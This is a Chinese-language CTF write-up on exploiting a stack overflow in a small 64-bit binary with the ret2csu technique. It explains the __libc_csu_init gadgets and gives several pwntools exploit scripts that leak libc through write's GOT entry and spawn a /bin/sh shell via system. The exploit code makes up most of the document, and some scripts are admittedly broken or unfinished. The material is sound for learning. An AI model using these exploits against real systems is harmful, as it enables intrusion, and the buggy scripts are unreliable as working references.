起因是这样的,跟一个pwn师傅聊天的时候,他发给我了一道题,说很有意思,我就打开来看了看
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "welcome~\n", 9uLL);
vul();
return 0;
}
vul函数
ssize_t vul()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x100uLL);
}
就这?
我他妈直接ret2csu
先写一下原理吧,到时候复习比较方便
ret2csu
__libc_csu_init
重点关注这个函数
为啥呢,因为它里面有很好的gadget
我们知道在64位环境下,前六个参数是由寄存器来传递的,分别是rdi rsi rdx rcx r8 r9
那我们看这两个片段
第一个是pop片段
.text:000000000040060A pop rbx
.text:000000000040060B pop rbp
.text:000000000040060C pop r12
.text:000000000040060E pop r13
.text:0000000000400610 pop r14
.text:0000000000400612 pop r15
.text:0000000000400614 retn
这一串pop和retn分别打到了寄存器上然后还能retn,但是我们需要的是那六个寄存器,但是看前一个片段
.text:00000000004005F0 mov rdx, r13
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r15d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
我们可以利用这个来调整寄存器这样edi,rsi,rdx前三个寄存器便可以由我们来控制了
利用
我们看ctfwiki
然后wiki给了一个几乎万能的exp
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
level5 = ELF('./level5')
sh = process('./level5')
write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)
sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)
## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')
sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()
这个来泄漏libc是通过write函数,难度上来说比puts要更难了
思路就是先泄漏libc,然后劫持read函数,向bss段上写入/bin/sh,和system之类的系统函数,然后劫持程序流到bss段拿shell
解题
那我们直接照抄exp就好了,反正大同小异(打脸
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
elf = ELF('./pwn2')
p = process('./pwn2')
#libc = ELF("./libc-2.23.so")
write_got = elf.got['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']
print(hex(main_addr))
bss_base = elf.bss()
csu_front_addr = 0x4005F0
#csu_end_addr = 0x40060A
csu_end_addr = 0x40060A
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = b'a' * 0x88
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(main_addr)
p.send(payload)
sleep(1)
p.recvuntil('welcome~\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(p.recv(8))
gdb.attach(p)
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
print(hex(libc_base))
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
'''
libc = ELF('./libc-2.23.so')
libc_base = write_addr - libc.symbols['write']
print('libcbase ----> ' + hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
'''
payload = b'a' * 0x88
payload += p64(0x40060A) + p64(0) + p64(1) + p64(read_got) + p64(16) + p64(bss_base) + p64(0)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(main_addr)
p.recvuntil('~\n')
p.send(payload)
p.send(p64(execve))
p.send('/bin/sh\0')
sleep(1)
#p.send(p64(execve) + b'/bin/sh\x00')
想象是美好的,但是很快就发现了问题
程序根本无法跳转到main函数,思考了好久就是没想通
后来经过师傅提醒发现payload长度超了
只允许read 0x100个字节,那我们只好缩减payload
经过调试发现rbx寄存器本来就是0,所以我们可以省略p64(rbx),结果发现长度正好为0x100
然后第二次向bss写数据的时候就又不行了,这个时候rbx就不是0了
所以换个思路,就用普通栈溢出的思路,找到binsh和system的地址,直接执行
由于我本地的环境有很大问题,LibcSearcher不准,每次偏移都差0x1000,我通过gdb的magic找到了system的地址,但是实在找不到binsh的地址了,所以就此作罢,但是理论上是绝对可以打通的
我贴一下最后的exp
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
elf = ELF('./pwn2')
p = process('./pwn2')
#libc = ELF("./libc-2.23.so")
write_got = elf.got['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']
print(hex(main_addr))
bss_base = elf.bss()
csu_front_addr = 0x4005F0
#csu_end_addr = 0x40060A
csu_end_addr = 0x40060B
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = b'a' * 0x88
payload += p64(csu_end_addr) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(main_addr)
p.send(payload)
sleep(1)
p.recvuntil('welcome~\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(p.recv(8))
gdb.attach(p)
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
print(hex(libc_base))
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
'''
libc = ELF('./libc-2.23.so')
libc_base = write_addr - libc.symbols['write']
print('libcbase ----> ' + hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
'''
p.recvuntil('~\n')
payload = b'a' * 0x88
pop_ret = 0x400613
payload += p64(pop_ret) + p64(binsh) + p64(system)
print("binsh -----> " + hex(binsh))
print("system -----> " + hex(system))
p.sendline(payload)
p.interactive()
然后贴一下我魔改了师傅的exp
from pwn import *
from LibcSearcher import LibcSearcher
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + 0x3f550 - 0x1000
wrong = base + libc.dump('system')
print(hex(wrong))
binsh = base + libc.dump('str_bin_sh')
print('str 的偏移为 : ' + hex(libc.dump('str_bin_sh')))
print('system 的偏移为 :' + hex(libc.dump('system')))
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search(b'/bin/sh').__next__()
return (system,binsh,base)
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
# or csu(0,1,got_write,1,got_write,8,main) The csu functions of different programs need to be analyzed concretely
payload = b'a' * 0x88
payload += p64(gadget_pop) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(gadget_call)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)
return payload
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\0'))
uu64 = lambda data :u64(data.ljust(8,b'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
binary = './pwn2'
context.binary = binary
elf = ELF(binary,checksec=False)
def dbg():
gdb.attach(p)
pause()
p = process(binary)
#p = remote("47.95.195.235",44002)
#libc = ELF("./libc-2.23.so")
main = 0x400587
gadget_pop = 0x40060B
gadget_call =0x4005F0
got_write = elf.got['write']
p.recvuntil('\n')
csu(0,1,got_write,8,got_write,1,main)
gdb.attach(p)
#ru("welcome~\n")
write_addr = uu64(r(6))
print('write ---> ' + hex(write_addr))
system,binsh,base = ret2libc(write_addr,'write','')
print('system ----> ' + hex(system))
print('binsh ----> ' + hex(binsh))
print(hex(base))
pop_ret = 0x400613
payload3 = b'a' * 136 + p64(pop_ret) + p64(binsh) + p64(system)
sla("welcome~\n",payload3)
itr()
orz
wtcl